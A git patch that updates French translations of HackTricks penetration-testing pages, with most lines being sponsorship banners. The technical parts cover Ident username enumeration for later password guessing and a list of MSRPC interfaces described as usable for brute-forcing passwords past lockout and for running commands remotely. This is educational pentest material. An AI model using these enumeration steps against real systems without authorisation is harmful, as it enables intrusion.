From bcc2f9f66305040cc9eef04430a8aef1f4506e58 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 Feb 2024 08:11:01 +0000 Subject: [PATCH] Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', --- .../ios-pentesting/ios-protocol-handlers.md | 34 +--- .../113-pentesting-ident.md | 48 ++--- .../135-pentesting-msrpc.md | 90 +++++---- .../137-138-139-pentesting-netbios.md | 76 +++++--- .../43-pentesting-whois.md | 22 +-- .../49-pentesting-tacacs+.md | 6 +- .../512-pentesting-rexec.md | 30 +-- network-services-pentesting/69-udp-tftp.md | 12 +- .../7-tcp-udp-pentesting-echo.md | 16 +- .../README.md | 66 ++++--- .../browext-clickjacking.md | 10 +- ...rowext-permissions-and-host_permissions.md | 36 ++-- .../browext-xss-example.md | 22 +-- pentesting-web/captcha-bypass.md | 12 +- pentesting-web/clickjacking.md | 38 ++-- pentesting-web/client-side-path-traversal.md | 22 ++- .../client-side-template-injection-csti.md | 20 +- pentesting-web/command-injection.md | 18 +- .../README.md | 158 +++++++-------- ...ypass-self-+-unsafe-inline-with-iframes.md | 12 +- pentesting-web/cors-bypass.md | 54 +++--- pentesting-web/crlf-0d-0a.md | 32 +-- .../csrf-cross-site-request-forgery.md | 56 +++--- .../README.md | 32 +-- .../ss-leaks.md | 4 +- pentesting-web/dependency-confusion.md | 16 +- ...er-gadgets-expandedwrapper-and-json.net.md | 28 +-- ...ialization-objectinputstream-readobject.md | 4 +- ...ploiting-__viewstate-knowing-the-secret.md | 4 +- .../exploiting-__viewstate-parameter.md | 26 +-- ...ava-dns-deserialization-and-gadgetprobe.md | 32 +-- ...va-jsf-viewstate-.faces-deserialization.md | 20 +- ...ava-transformers-to-rutime-exec-payload.md | 20 +- ...g-and-directory-interface-and-log4shell.md | 54 +++--- .../README.md | 34 ++-- .../client-side-prototype-pollution.md | 22 +-- .../prototype-pollution-to-rce.md | 158 ++++++--------- .../php-deserialization-+-autoload-classes.md | 72 +++---- .../python-yaml-deserialization.md | 22 +-- pentesting-web/domain-subdomain-takeover.md | 16 +- pentesting-web/email-injections.md | 28 +-- pentesting-web/file-inclusion/README.md | 116 ++++++----- ..._stream_prefer_studio-+-path-disclosure.md | 57 +++--- .../lfi2rce-via-eternal-waiting.md | 105 ++++------ .../file-inclusion/lfi2rce-via-php-filters.md | 52 ++--- .../file-inclusion/lfi2rce-via-phpinfo.md | 14 +- .../lfi2rce-via-temp-file-uploads.md | 4 +- .../file-inclusion/phar-deserialization.md | 52 +++-- pentesting-web/file-upload/README.md | 50 ++--- .../pdf-upload-xxe-and-cors-bypass.md | 8 +- ...ula-csv-doc-latex-ghostscript-injection.md | 22 +-- pentesting-web/grpc-web-pentest.md | 62 +++--- pentesting-web/h2c-smuggling.md | 28 +-- pentesting-web/hacking-jwt-json-web-tokens.md | 38 ++-- pentesting-web/hacking-with-cookies/README.md | 48 ++--- .../hacking-with-cookies/cookie-bomb.md | 6 +- .../cookie-jar-overflow.md | 32 +-- .../hacking-with-cookies/cookie-tossing.md | 64 +++--- .../http-connection-contamination.md | 24 ++- .../http-connection-request-smuggling.md | 8 +- .../http-request-smuggling/README.md | 74 +++---- .../request-smuggling-in-http-2-downgrades.md | 4 +- .../http-response-smuggling-desync.md | 59 +++--- pentesting-web/idor.md | 4 +- pentesting-web/integer-overflow.md | 38 +--- pentesting-web/ldap-injection.md | 32 +-- pentesting-web/login-bypass/README.md | 24 +-- .../login-bypass/sql-login-bypass.md | 28 +-- pentesting-web/nosql-injection.md | 22 +-- pentesting-web/oauth-to-account-takeover.md | 42 ++-- pentesting-web/open-redirect.md | 59 +++--- pentesting-web/parameter-pollution.md | 22 +-- pentesting-web/phone-number-injections.md | 6 +- .../pocs-and-polygloths-cheatsheet/README.md | 58 +++--- .../web-vulns-list.md | 14 +- .../postmessage-vulnerabilities/README.md | 22 +-- ...blocking-main-page-to-steal-postmessage.md | 14 +- .../bypassing-sop-with-iframes-1.md | 20 +- .../bypassing-sop-with-iframes-2.md | 12 +- ...l-postmessage-modifying-iframe-location.md | 10 +- .../proxy-waf-protections-bypass.md | 4 +- pentesting-web/race-condition.md | 44 ++--- pentesting-web/rate-limit-bypass.md | 23 ++- .../registration-vulnerabilities.md | 24 +-- ...ular-expression-denial-of-service-redos.md | 26 +-- pentesting-web/reset-password.md | 32 +-- pentesting-web/reverse-tab-nabbing.md | 14 +- pentesting-web/saml-attacks/README.md | 34 ++-- pentesting-web/saml-attacks/saml-basics.md | 28 +-- ...inclusion-edge-side-inclusion-injection.md | 34 ++-- pentesting-web/sql-injection/README.md | 68 +++---- .../sql-injection/cypher-injection-neo4j.md | 10 +- .../sql-injection/ms-access-sql-injection.md | 108 +++++------ .../sql-injection/mssql-injection.md | 50 +++-- .../sql-injection/mysql-injection/README.md | 18 +- .../mysql-injection/mysql-ssrf.md | 10 +- .../sql-injection/oracle-injection.md | 42 ++-- .../big-binary-files-upload-postgresql.md | 8 +- .../dblink-lo_import-data-exfiltration.md | 8 +- ...and-ntlm-chanllenge-response-disclosure.md | 14 +- .../pl-pgsql-password-bruteforce.md | 16 +- .../rce-with-postgresql-extensions.md | 18 +- .../rce-with-postgresql-languages.md | 16 +- pentesting-web/sql-injection/sqlmap.md | 112 +++++------ pentesting-web/web-tool-wfuzz.md | 16 +- pentesting-web/websocket-attacks.md | 30 +-- pentesting-web/xpath-injection.md | 46 ++--- pentesting-web/xs-search.md | 183 +++++++----------- ...ble-stylesheet-language-transformations.md | 30 +-- .../xssi-cross-site-script-inclusion.md | 24 +-- pentesting-web/xxe-xee-xml-external-entity.md | 86 +++++--- 111 files changed, 1960 insertions(+), 2052 deletions(-) diff --git a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md index 19047c362..dc4f7317b 100644 --- a/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md +++ b/mobile-pentesting/ios-pentesting/ios-protocol-handlers.md @@ -1,34 +1,16 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-# Gestionnaires de protocole WebView - - - - - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+# Gestionnaires de protocoles WebView diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 136163b0c..0d2c5f959 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -2,28 +2,30 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés**.\ -Accédez-y dès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Informations de base -C'est un [protocole](https://en.wikipedia.org/wiki/Protocol\_\(computing\)) [Internet](https://en.wikipedia.org/wiki/Internet) qui aide à identifier l'utilisateur d'une connexion [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) particulière. +Le **protocole Ident** est utilisé sur **Internet** pour associer une **connexion TCP** à un utilisateur spécifique. Conçu à l'origine pour aider à la **gestion réseau** et à la **sécurité**, il fonctionne en permettant à un serveur d'interroger un client sur le port 113 pour demander des informations sur l'utilisateur d'une connexion TCP particulière. + +Cependant, en raison des préoccupations modernes en matière de confidentialité et du potentiel de mauvaise utilisation, son utilisation a diminué car elle peut involontairement révéler des informations sur l'utilisateur à des parties non autorisées. Des mesures de sécurité renforcées, telles que des connexions chiffrées et des contrôles d'accès stricts, sont recommandées pour atténuer ces risques. **Port par défaut :** 113 ``` @@ -38,7 +40,7 @@ Si une machine exécute le service ident et samba (445) et que vous êtes connec ![](<../.gitbook/assets/image (15) (1) (1).png>) -Si vous appuyez simplement sur entrée lorsque vous vous connectez au service : +Si vous appuyez simplement sur Entrée lorsque vous vous connectez au service : ![](<../.gitbook/assets/image (16) (1) (1).png>) @@ -48,7 +50,7 @@ Autres erreurs : ### Nmap -Par défaut (-sC), nmap identifiera chaque utilisateur de chaque port en cours d'exécution : +Par défaut (`-sC``), nmap identifiera chaque utilisateur de chaque port en cours d'exécution : ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -65,7 +67,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -Ident-user-enum est un script PERL simple pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur recueillis peut être utilisée pour des attaques de devinettes de mot de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) est un script PERL simple pour interroger le service ident (113/TCP) afin de déterminer le propriétaire du processus écoutant sur chaque port TCP d'un système cible. La liste des noms d'utilisateur collectés peut être utilisée pour des attaques de devinettes de mots de passe sur d'autres services réseau. Il peut être installé avec `apt install ident-user-enum`. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -85,8 +87,8 @@ identd.conf
-Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez un accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -100,7 +102,7 @@ Entry_1: Name: Notes Description: Notes for Ident Note: | -Is an Internet protocol that helps identify the user of a particular TCP connection. +The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. https://book.hacktricks.xyz/pentesting/113-pentesting-ident @@ -111,14 +113,14 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all ```
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/135-pentesting-msrpc.md b/network-services-pentesting/135-pentesting-msrpc.md index 719c6a878..e13ccf66a 100644 --- a/network-services-pentesting/135-pentesting-msrpc.md +++ b/network-services-pentesting/135-pentesting-msrpc.md @@ -4,32 +4,32 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en sécurité informatique ! -**Perspectives de Piratage**\ +**Perspectives de piratage**\ Engagez-vous avec du contenu qui explore le frisson et les défis du piratage -**Actualités de Piratage en Temps Réel**\ +**Actualités de piratage en temps réel**\ Restez à jour avec le monde du piratage en évolution rapide grâce aux actualités et aux informations en temps réel -**Dernières Annonces**\ +**Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme **Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui ! -## Informations de Base +## Informations de base Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans comprendre les spécificités du réseau, a été initialement dérivé d'un logiciel open source, puis développé et protégé par des droits d'auteur par Microsoft. @@ -39,13 +39,12 @@ Le gestionnaire de points de terminaison RPC peut être accédé via les ports T ``` ## Comment fonctionne MSRPC? -Initié par l'application cliente, le processus MSRPC implique l'appel d'une procédure locale de stub qui interagit ensuite avec la bibliothèque d'exécution cliente pour préparer et transmettre la demande au serveur. Cela inclut la conversion des paramètres dans un format standard de représentation des données réseau. Le choix du protocole de transport est déterminé par la bibliothèque d'exécution si le serveur est distant, assurant que la RPC est délivrée à travers la pile réseau. +Initié par l'application cliente, le processus MSRPC implique l'appel d'une procédure locale de stub qui interagit ensuite avec la bibliothèque d'exécution cliente pour préparer et transmettre la demande au serveur. Cela inclut la conversion des paramètres en un format standard de représentation des données réseau. Le choix du protocole de transport est déterminé par la bibliothèque d'exécution si le serveur est distant, assurant que la RPC est délivrée à travers la pile réseau. ![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png) ## **Identification des services RPC exposés** - L'exposition des services RPC à travers TCP, UDP, HTTP et SMB peut être déterminée en interrogeant le service de localisation RPC et les points de terminaison individuels. Des outils tels que rpcdump facilitent l'identification des services RPC uniques, désignés par des valeurs **IFID**, révélant les détails du service et les liaisons de communication: ``` D:\rpctools> rpcdump [-p port] @@ -66,43 +65,50 @@ Toutes les options sauf `tcp_dcerpc_auditor` sont spécifiquement conçues pour #### Interfaces RPC notables -**IFID**: 12345778-1234-abcd-ef00-0123456789ab -**Named Pipe**: \pipe\lsarpc -**Description**: Interface LSA, utilisée pour énumérer les utilisateurs. +* **IFID**: 12345778-1234-abcd-ef00-0123456789ab +* **Named Pipe**: `\pipe\lsarpc` +* **Description**: Interface LSA, utilisée pour énumérer les utilisateurs. -**IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 -**Named Pipe**: \pipe\lsarpc -**Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance. -**IFID**: 12345778-1234-abcd-ef00-0123456789ac -**Named Pipe**: \pipe\samr -**Description**: Interface LSA SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d'utilisateur) et pour forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage des comptes. +* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5 +* **Named Pipe**: `\pipe\lsarpc` +* **Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance. -**IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b -**Named Pipe**: \pipe\atsvc -**Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance. -**IFID**: 338cd001-2244-31f1-aaaa-900038001003 -**Named Pipe**: \pipe\winreg -**Description**: Service de registre distant, utilisé pour accéder et modifier le registre système. +* **IFID**: 12345778-1234-abcd-ef00-0123456789ac +* **Named Pipe**: `\pipe\samr` +* **Description**: Interface LSA SAMR, utilisée pour accéder aux éléments publics de la base de données SAM (par ex., noms d'utilisateur) et forcer les mots de passe des utilisateurs indépendamment de la politique de verrouillage du compte. -**IFID**: 367abb81-9844-35f1-ad32-98f038001003 -**Named Pipe**: \pipe\svcctl -**Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter à distance des services et exécuter des commandes. -**IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 -**Named Pipe**: \pipe\srvsvc -**Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter à distance des services et exécuter des commandes. +* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b +* **Named Pipe**: `\pipe\atsvc` +* **Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance. -**IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 -**Named Pipe**: \pipe\epmapper -**Description**: Interface DCOM, utilisée pour forcer le broyage de mots de passe et la collecte d'informations via WM. + +* **IFID**: 338cd001-2244-31f1-aaaa-900038001003 +* **Named Pipe**: `\pipe\winreg` +* **Description**: Service de registre distant, utilisé pour accéder et modifier le registre système. + + +* **IFID**: 367abb81-9844-35f1-ad32-98f038001003 +* **Named Pipe**: `\pipe\svcctl` +* **Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter des services à distance et exécuter des commandes. + + +* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188 +* **Named Pipe**: `\pipe\srvsvc` +* **Description**: Gestionnaire de contrôle de service et services serveur, utilisé pour démarrer et arrêter des services à distance et exécuter des commandes. + + +* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 +* **Named Pipe**: `\pipe\epmapper` +* **Description**: Interface DCOM, utilisée pour forcer le hachage de mots de passe et recueillir des informations via WM. ### Identification des adresses IP En utilisant [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), provenant de la recherche d'Airbus, il est possible d'abuser de la méthode _**ServerAlive2**_ à l'intérieur de l'interface _**IOXIDResolver**_. -Cette méthode a été utilisée pour obtenir des informations d'interface en tant qu'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour l'analyse APT de 0xdf, qui inclut une méthode alternative utilisant rpcmap.py d'[Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus). +Cette méthode a été utilisée pour obtenir des informations d'interface en tant qu'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour l'analyse APT de 0xdf, elle inclut une méthode alternative utilisant rpcmap.py d'[Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus). ## Port 593 @@ -115,10 +121,10 @@ Le **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
-Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité ! +Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs! **Perspectives sur le piratage**\ -Engagez-vous avec du contenu qui explore l'excitation et les défis du piratage +Engagez-vous avec du contenu qui explore le frisson et les défis du piratage **Actualités sur le piratage en temps réel**\ Restez informé du monde du piratage à travers des actualités et des informations en temps réel @@ -126,18 +132,18 @@ Restez informé du monde du piratage à travers des actualités et des informati **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! +**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/137-138-139-pentesting-netbios.md b/network-services-pentesting/137-138-139-pentesting-netbios.md index c81fddc27..f84746fee 100644 --- a/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -1,19 +1,37 @@ +# 137,138,139 - Test d'intrusion NetBios + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
